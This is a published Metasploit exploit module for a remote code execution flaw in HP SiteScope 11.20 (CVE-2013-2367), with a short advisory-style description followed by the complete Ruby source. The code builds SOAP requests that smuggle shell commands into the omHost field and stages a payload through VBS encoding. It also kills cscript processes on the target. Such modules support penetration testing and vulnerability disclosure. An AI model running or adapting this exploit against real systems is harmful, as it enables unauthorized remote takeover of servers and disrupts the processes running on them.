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HP SiteScope Remote Code Execution

HP SiteScope Remote Code Execution
Posted Sep 9, 2013
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution flaw in HP SiteScope. The vulnerability exists on the opcactivate.vbs script, which is reachable from the APIBSMIntegrationImpl AXIS service, and uses WScript.Shell.run() to execute cmd.exe with user provided data. Note which the opcactivate.vbs component is installed with the (optional) HP Operations Agent component. The module has been tested successfully on HP SiteScope 11.20 (with HP Operations Agent) over Windows 2003 SP2.

tags | exploit, shell, code execution
systems | windows
advisories | CVE-2013-2367, OSVDB-95824
SHA-256 | 02888ebdda6dc97a16fcb507f825f9cfbf26bc98824bc1efc03e5b0ff9d28b2f

HP SiteScope Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope.
The vulnerability exists on the opcactivate.vbs script, which
is reachable from the APIBSMIntegrationImpl AXIS service, and
uses WScript.Shell.run() to execute cmd.exe with user provided
data. Note which the opcactivate.vbs component is installed
with the (optional) HP Operations Agent component. The module
has been tested successfully on HP SiteScope 11.20 (with HP
Operations Agent) over Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2367'],
[ 'OSVDB', '95824' ],
[ 'BID', '61506' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => 'Jul 29 2013'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end

def uri
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
return uri
end

def check

op = rand_text_alpha(8 + rand(10))
key = rand_text_alpha(8 + rand(10))
value = rand_text_alpha(8 + rand(10))

res = send_soap_request(op, key, value)

if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
@peer = "#{rhost}:#{rport}"

print_status("#{@peer} - Delivering payload...")

# The path to the injection is something like:
# * Java exec => cscript => WScript.Shell => cmd.exe (injection happens)
# Empirically has been tested a 1500 value for :linemax makes it work
# reliable
execute_cmdstager({:linemax => 1500})
end

def get_vbs_string(str)
vbs_str = ""
str.each_byte { |b|
vbs_str << "Chr(#{b})+"
}

return vbs_str.chomp("+")
end

# Make the modifications required to the specific encoder
# This exploit uses an specific encoder because quotes (")
# aren't allowed when injecting commands
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list.each { |command|
# Because the exploit kills cscript processes to speed up and reliability
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
}
end

def execute_command(cmd, opts={})
# HTML Encode '&' character
# taskkill allows to kill the cscript process which is triggering the
# different operations performed by the OPACTIVATE command. It speeds
# up exploitation and improves reliability (some processes launched can die
# due to the fake activation). But this line also will kill other cscript
# legit processes which could be running on the target host. Because of it
# the exploit has a Manual ranking
command = "&#x22;127.0.0.1 &#x26;&#x26; "
command << cmd.gsub(/&/, "&#x26;")
command << " &#x26;&#x26; taskkill /F /IM cscript.exe &#x22;"

res = send_soap_request("OPCACTIVATE", "omHost", command)

if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/
fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...")
end

end

def send_soap_request(op, key, value)
data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">"
data << "<soapenv:Header/>"
data << "<soapenv:Body>"
data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">"
data << "<item xsi:type=\"x-:mapItem\">"
data << "<key xsi:type=\"xsd:string\">#{key}</key>"
data << "<value xsi:type=\"xsd:string\">#{value}</value>"
data << "</item>"
data << "</in0>"
data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>"
data << "</api:runOMAgentCommand>"
data << "</soapenv:Body>"
data << "</soapenv:Envelope>"

res = send_request_cgi({
'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""'
}
})

return res
end

end
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